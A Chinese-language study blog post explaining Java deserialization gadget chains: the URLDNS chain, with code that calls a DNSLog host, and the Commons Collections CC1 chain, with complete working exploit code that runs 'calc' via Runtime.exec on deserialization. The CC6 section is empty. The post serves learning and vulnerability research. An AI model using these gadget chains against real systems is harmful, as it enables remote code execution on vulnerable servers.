前言
在学习了反射、基础反序列化、JVM类加载器、JDK动态代理之后,打算先进行反序列化链的学习,然后遇到什么不会的就再回头去学
URLDNS链
URLDNS链是Java反序列化中用于检测反序列化漏洞的一条利用链。它并不是一个真正的“利用”链,因为它并不能执行代码,而是用于检测目标是否存在反序列化漏洞。
它具有以下特点:
- 不依赖任何第三方库,只使用JDK内置类。
- 利用过程会触发一次DNS查询,因此可以通过监控DNS请求来确认漏洞存在。
链子以及解析
1
2
3
4
|
HashMap.readObject()
|
V
URL.hashCode()
|
首先是入口点:HashMap.readObject()
当你反序列化一个 HashMap 对象时,它的 readObject() 方法会被自动调用。在这个方法内部,为了将序列化数据中的每一个键值对(Key-Value Pair)恢复到 HashMap 的内部结构(一个哈希表)中,它需要对每一个 Key 调用 hashCode() 方法来计算其哈希值。
接下来是URL的hashCode()方法
URL.hashCode() 首先会检查内部一个 hashCode 字段是否已经被计算过。如果没计算过(默认是-1),它就会调用 handler.hashCode(this) 来计算。
然后handler.hashCode(URL u) 方法会调用 java.net.InetAddress.getByName(u.getHost()) 来获取 URL 中主机的 IP 地址。InetAddress.getByName会发起一次 DNS 查询来解析这个域名。
这样就会触发DNS请求了。
知道原理后,就可以试着自己构造一下序列化文件了
代码实现
这里通过反射修改了hashCode字段的值,在创建HashMap并放入URL对象时,因为hashCode经过我们的修改,不为-1,便不会进行DNS请求。
之后在序列化之前再重置为-1,这样使得目标主机发起一次DNS查询。
(这样做可以区分开DNSlog上收到的记录到底时目标靶机还是自己靶机上的)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class Main {
public static void serializable(String path, Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(path));
oos.writeObject(obj);
}
public static Object deserializable(String path) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
return ois.readObject();
}
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
//目标 URL,指向 DNSLog 服务器(这里用的是 Ceye.io,功能类似)
URL u = new URL("http://2fu4td.ceye.io");
//通过反射获取 URL 类内部私有的 hashCode 字段
Field hashCode = URL.class.getDeclaredField("hashCode");
hashCode.setAccessible(true); //解除访问禁止
// 强制将 URL 对象 u 的内部 hashCode 字段设置为一个非 -1 的值
hashCode.setInt(u,23);
//创建 HashMap 并安全地放入 URL 对象
HashMap<URL,Object>map = new HashMap<>();
map.put(u,null);
//在序列化之前,将 URL 对象 u 的内部 hashCode 字段重置为 -1
hashCode.setInt(u,-1);
serializable("url.bin",map);
deserializable("url.bin");
}
}
|
结果如下


CC1
Apache Commons Collections 是一个扩展了 Java 标准库里的 Collection 结构的第三方基础库,它提供了很多强有力的数据结构类型并实现了各种集合工具类。
CC1 链是利用了 Apache Commons Collections 库中的一系列类,将它们串联起来,最终在目标应用反序列化我们构造的恶意对象时,执行任意的系统命令。
链子以及解析
1
2
3
4
5
6
7
|
AnnotationInvocationHandler
|
V
LazyMap/TransformedMap
|
V
Transformer
|
从尾巴开始解析:InvokerTransformer
它实现了org.apache.commons.collections.Transformer接口,这个接口只有一个transform(Object input)方法,这个方法通过反射获取可控的传入对象以及该对象的指定方法。然后调用这个方法并返回。
既然可控,那么就可以传入Runtime对象,并指定exec方法。具体利用:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
构造一个new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
然后调用transform()方法,并传入一个Runtime对象就可以执行Runtime.getRuntime().exec("calc")
具体代码
//详细解释一下:InvokerTransformer配置为寻找一个名为 exec 的方法,这个方法接受一个 String 类型的参数。
//当它的 transform() 方法被调用时,它会执行 input.exec("calc")。
//input 是 transform() 方法接收到的参数。
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
invokerTransformer.transform(Runtime.getRuntime());
|
实现如下

然后的问题就是,我们如何找到谁调用了invokerTransformer.transform()方法,参数如何控制?
那么就到了下一个(上一个)链子节点:TransformMap
这个类的checkSetValue方法里会返回valueTransformer.transform(value),我们只要把这个方法的valueTransformer赋值为invokerTransformer就可以,value是可控的
那么如何赋值这个变量呢
TransformMap有一个构造方法可以赋值valueTransformer,但是这个方法是protect的,无法直接调用。但是TransformMap拥有一个公开静态的decorate方法,可以调用这个构造方法(传入三个参数)。
现在我们的代码可以写成
1
2
3
4
|
Map decorated = TransformedMap.decorate(null,null,invokerTransformer);
TransformedMap.checkSetValue(Runtime.getRuntime());
//这段代码等同于调用invokerTransformer.transform(Runtime.getRuntime());
|
但是chectSetValue也是一个私有的方法,不能在外部利用
不过在MapEntry(实例)里有调用setValue方法,这个方法会调用chectSetValue,这样也解决了。
具体利用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
//创建一个普通的 HashMap用来被 TransformedMap 装饰。随便放一个键值对 ("a", "b")
HashMap<Object,Object> map = new HashMap<>();
map.put("a","b");
//使用 TransformedMap 装饰 HashMap,将 invokerTransformer 设置为 valueTransformer
//相当于告诉 TransformedMap:“以后只要有任何 Entry 的值被修改,你就用这个 invokerTransformer 去处理一下新值。”
Map<Object,Object> decorated = TransformedMap.decorate(map,null,invokerTransformer);
//遍历 decorated Map 的所有条目 (Entry),用Map.Entry接受
for(Map.Entry<Object,Object>
entry:decorated.entrySet()){
//修改 Entry 的值,试图将 "a" 对应的 "b" 修改为 Runtime.getRuntime() 返回的那个 Runtime 单例对象。就会调用invokerTransformer.transform(Runtime.getRuntime())
entry.setValue(Runtime.getRuntime());
}
|
实现如下

现在问题就到了怎么调用这个setValue
然后就找到了入口类AnnotationInvocationHandler,即可以被序列化,也重写了readobject方法,在里面调用了serValue。不过需要绕过两个if才能成功调用,而且setValue的值是无法自己定义的。
两个if很好绕过,但是无法自己定义setValue的值,也就无法传入Runtime.getRuntime
看样子好像进入了死胡同,但是其实还是有办法的
我们可以通过ConstantTransformer,它不管你传入什么,他返回的都是你构造时传入的Constant。但是通过这个方法的话就不能用前面讲到的decorate装饰从而链接上InvokerTransformer。
但是,又有一个ChainedTransformer,它是一个流水线,可以把上一个Transformer的输出作为下一个Transformer的输入,可以通过这个把ConstantTransformer和decorate那里联系起来,再把这个Chained Transformer传给decorate。
最后的最后,因为Runtime.getRuntime是一个单例模式构造出来的东西,无法被序列化,但是可以通过反射调用。
代码实现
由于maven搞了很久都没成功,这里直接下了commons-collections3.2.1.jar添加到依赖里,以后再好好研究一下maven
这里是用ysoserial生成的cc1执行的结果,虽然报错了(在利用链调用结束之后产生的报错),但是成功利用就行。

前面为了好理解链子,放了一点代码,这里把剩下的代码都实现一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("123.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException{
//创建一个“流水线” (ChainedTransformer),只要调用它的 transform() 方法,就能自动完成获取 Runtime 实例并执行 exec("calc") 的所有操作。
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
//忽略所有输入,直接生产并传递出 Runtime.class 这个类对象。
new ConstantTransformer(Runtime.class),
//接收 Runtime.class,调用它的 getMethod 方法,找到 getRuntime() 这个方法,并把这个 Method 对象传递下去。
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
//接收 getRuntime() 这个 Method 对象,调用它的 invoke 方法,从而获得 Runtime 的单例实例,并传递下去。
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
//接收 Runtime 实例,调用它的 exec 方法执行 calc 命令。
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
});
HashMap<Object,Object> map = new HashMap<>();
//我们往原始 HashMap 里放入了一个键值对。这个键 value 不是随便写的,它必须是后面 AnnotationInvocationHandler 所使用的注解类中存在的一个方法名。(这里就是前文说的两个if条件的绕过)
map.put("value","value");
Map<Object,Object> decorated = TransformedMap.decorate(map,null,chainedTransformer);
//反射获取AnnotationInvocationHandler
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//获取它的构造函数。这个构造函数接受两个参数:一个注解的 Class 对象和一个 Map
Constructor<?> constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
//Target.class: 我们传入 java.lang.annotation.Target.class 作为注解类。@Target 这个注解有一个方法叫做 value(),它的返回类型是 ElementType[]。
//decorated: 我们传入了那个被 TransformedMap 装饰过的 Map。
Object o = constructor.newInstance(Target.class,decorated);
serialize(o);
unserialize("123.bin");
}
}
|
结果如下:

小结
说实话,理了一遍之后还是有点懵里懵懂。不过按照我的理解来说,我觉得重要的是装饰器那里输入一个map,返回一个装饰过的map,通过这个将InvokerTransformer/chaindeTransformer和入口联系起来。还有就是chainedTransformer的利用,也是理解的重要点。
CC6
链子以及解析
代码实现